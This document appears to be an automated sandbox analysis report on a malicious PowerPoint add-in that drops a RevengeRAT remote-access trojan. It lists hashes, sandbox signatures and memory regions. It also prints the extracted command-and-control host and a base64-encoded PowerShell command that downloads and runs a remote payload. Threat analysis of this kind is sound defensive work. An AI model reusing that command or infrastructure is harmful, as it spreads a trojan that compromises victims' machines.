Analysis
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max time kernel
150s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
18-04-2024 01:30
Static task
static1
Behavioral task
behavioral1
Sample
013fefe1917cdeedc66a5e4bee5417894491591296a91a507224ae5af9618cda.ppam
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
013fefe1917cdeedc66a5e4bee5417894491591296a91a507224ae5af9618cda.ppam
Resource
win10v2004-20240412-en
General
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Target
013fefe1917cdeedc66a5e4bee5417894491591296a91a507224ae5af9618cda.ppam
-
Size
28KB
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MD5
7e0c3f4ee3bb201339b0be1e73142374
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SHA1
bb1dbdfd0cbbdb0f33dba0502d896224ba567680
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SHA256
013fefe1917cdeedc66a5e4bee5417894491591296a91a507224ae5af9618cda
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SHA512
5398377cd90f8aa3b8834eef60fcf438c9eeed154e78447b902e04b1f5071726aa03c2bcca5280da1c8e06649b9a01f7645638ae6cd09f8a68f69fe41f299da4
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SSDEEP
768:VPKiNgILNl1pb2GdSXlWEsusK+oCx7oho6n7vtxUkO:VC6vgIS4tokyH7lmkO
Malware Config
Extracted
revengerat
NyanCatRevenge
craxsrat.ddns.com.br:333
27d7e6701f5e
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 1244 4836 powershell.exe POWERPNT.EXE -
RevengeRAT
Remote-access trojan with a wide range of capabilities.
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 22 1244 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1244 set thread context of 2856 1244 powershell.exe RegSvcs.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
POWERPNT.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString POWERPNT.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
POWERPNT.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU POWERPNT.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid process 4836 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1244 powershell.exe 1244 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1244 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
POWERPNT.EXEpid process 4836 POWERPNT.EXE 4836 POWERPNT.EXE 4836 POWERPNT.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
POWERPNT.EXEpowershell.exedescription pid process target process PID 4836 wrote to memory of 1244 4836 POWERPNT.EXE powershell.exe PID 4836 wrote to memory of 1244 4836 POWERPNT.EXE powershell.exe PID 1244 wrote to memory of 2856 1244 powershell.exe RegSvcs.exe PID 1244 wrote to memory of 2856 1244 powershell.exe RegSvcs.exe PID 1244 wrote to memory of 2856 1244 powershell.exe RegSvcs.exe PID 1244 wrote to memory of 2856 1244 powershell.exe RegSvcs.exe PID 1244 wrote to memory of 2856 1244 powershell.exe RegSvcs.exe PID 1244 wrote to memory of 2856 1244 powershell.exe RegSvcs.exe PID 1244 wrote to memory of 2856 1244 powershell.exe RegSvcs.exe PID 1244 wrote to memory of 2856 1244 powershell.exe RegSvcs.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\013fefe1917cdeedc66a5e4bee5417894491591296a91a507224ae5af9618cda.ppam" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9AGIAOAA1AGIANABiADMANAAtADQAZgBiADkALQA0ADgANAAwAC0AYQAxAGQANwAtADMAMgA3AGEAZABlAGIAZQAwAGMANAA0AA0ACgAnACkAOwAgAA0ACgBHAHoATQBJAFQAWgBQAFIAVwBhAFQATQBvAEMAVwBiAGEAUwBNAFcAQgBkAEgASwBhAG8AcgBJAGMAdwBkAFkAbwBpAHoAeQBWAFIAdgBSAEkAUgBNAGYASABLAHoAawBYAEMAcwBwAFcAUwBIAGMAcwBjAEgARwBrAGgAUQBtAFcAVQB6AEsASABEAGgAawBHAHkAbwBMAHMAQwBkAHMAVABpAE0ADQAKAA==""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h3ksqzp5.hba.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/1244-88-0x00007FF9652E0000-0x00007FF965DA1000-memory.dmpFilesize
10.8MB
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memory/1244-83-0x000001F1E0100000-0x000001F1E0118000-memory.dmpFilesize
96KB
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memory/1244-67-0x00007FF9652E0000-0x00007FF965DA1000-memory.dmpFilesize
10.8MB
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memory/1244-68-0x000001F1E0120000-0x000001F1E0130000-memory.dmpFilesize
64KB
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memory/1244-71-0x000001F1E0100000-0x000001F1E0120000-memory.dmpFilesize
128KB
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memory/1244-69-0x000001F1E0120000-0x000001F1E0130000-memory.dmpFilesize
64KB
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memory/1244-70-0x000001F1E0120000-0x000001F1E0130000-memory.dmpFilesize
64KB
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memory/1244-72-0x000001F1E0100000-0x000001F1E0118000-memory.dmpFilesize
96KB
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memory/1244-73-0x000001F1E0100000-0x000001F1E0118000-memory.dmpFilesize
96KB
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memory/1244-75-0x000001F1E0100000-0x000001F1E0118000-memory.dmpFilesize
96KB
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memory/1244-84-0x000001F1E05E0000-0x000001F1E05E1000-memory.dmpFilesize
4KB
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memory/1244-66-0x000001F1E0230000-0x000001F1E0252000-memory.dmpFilesize
136KB
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memory/1244-81-0x000001F1E0100000-0x000001F1E0118000-memory.dmpFilesize
96KB
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memory/1244-79-0x000001F1E0100000-0x000001F1E0118000-memory.dmpFilesize
96KB
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memory/1244-77-0x000001F1E0100000-0x000001F1E0118000-memory.dmpFilesize
96KB
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memory/2856-90-0x0000000074C80000-0x0000000075430000-memory.dmpFilesize
7.7MB
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memory/2856-91-0x00000000007C0000-0x00000000007CA000-memory.dmpFilesize
40KB
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memory/2856-96-0x00000000053A0000-0x0000000005944000-memory.dmpFilesize
5.6MB
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memory/2856-115-0x0000000074C80000-0x0000000075430000-memory.dmpFilesize
7.7MB
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memory/2856-99-0x0000000004D80000-0x0000000004D90000-memory.dmpFilesize
64KB
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memory/2856-116-0x0000000004D80000-0x0000000004D90000-memory.dmpFilesize
64KB
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memory/4836-15-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB
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memory/4836-0-0x00007FF951190000-0x00007FF9511A0000-memory.dmpFilesize
64KB
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memory/4836-1-0x00007FF951190000-0x00007FF9511A0000-memory.dmpFilesize
64KB
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memory/4836-27-0x000001D546460000-0x000001D546C60000-memory.dmpFilesize
8.0MB
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memory/4836-21-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB
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memory/4836-2-0x00007FF951190000-0x00007FF9511A0000-memory.dmpFilesize
64KB
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memory/4836-112-0x00007FF951190000-0x00007FF9511A0000-memory.dmpFilesize
64KB
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memory/4836-20-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB
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memory/4836-19-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB
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memory/4836-18-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB
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memory/4836-17-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB
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memory/4836-16-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB
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memory/4836-3-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB
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memory/4836-14-0x00007FF94F130000-0x00007FF94F140000-memory.dmpFilesize
64KB
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memory/4836-11-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB
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memory/4836-13-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB
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memory/4836-12-0x00007FF94F130000-0x00007FF94F140000-memory.dmpFilesize
64KB
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memory/4836-28-0x000001D549140000-0x000001D549340000-memory.dmpFilesize
2.0MB
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memory/4836-89-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB
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memory/4836-9-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB
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memory/4836-10-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB
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memory/4836-8-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB
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memory/4836-98-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB
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memory/4836-7-0x00007FF951190000-0x00007FF9511A0000-memory.dmpFilesize
64KB
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memory/4836-100-0x000001D546460000-0x000001D546C60000-memory.dmpFilesize
8.0MB
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memory/4836-104-0x000001D549140000-0x000001D549340000-memory.dmpFilesize
2.0MB
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memory/4836-110-0x00007FF951190000-0x00007FF9511A0000-memory.dmpFilesize
64KB
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memory/4836-111-0x00007FF951190000-0x00007FF9511A0000-memory.dmpFilesize
64KB
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memory/4836-6-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB
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memory/4836-113-0x00007FF951190000-0x00007FF9511A0000-memory.dmpFilesize
64KB
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memory/4836-114-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB
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memory/4836-5-0x00007FF951190000-0x00007FF9511A0000-memory.dmpFilesize
64KB
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memory/4836-4-0x00007FF991110000-0x00007FF991305000-memory.dmpFilesize
2.0MB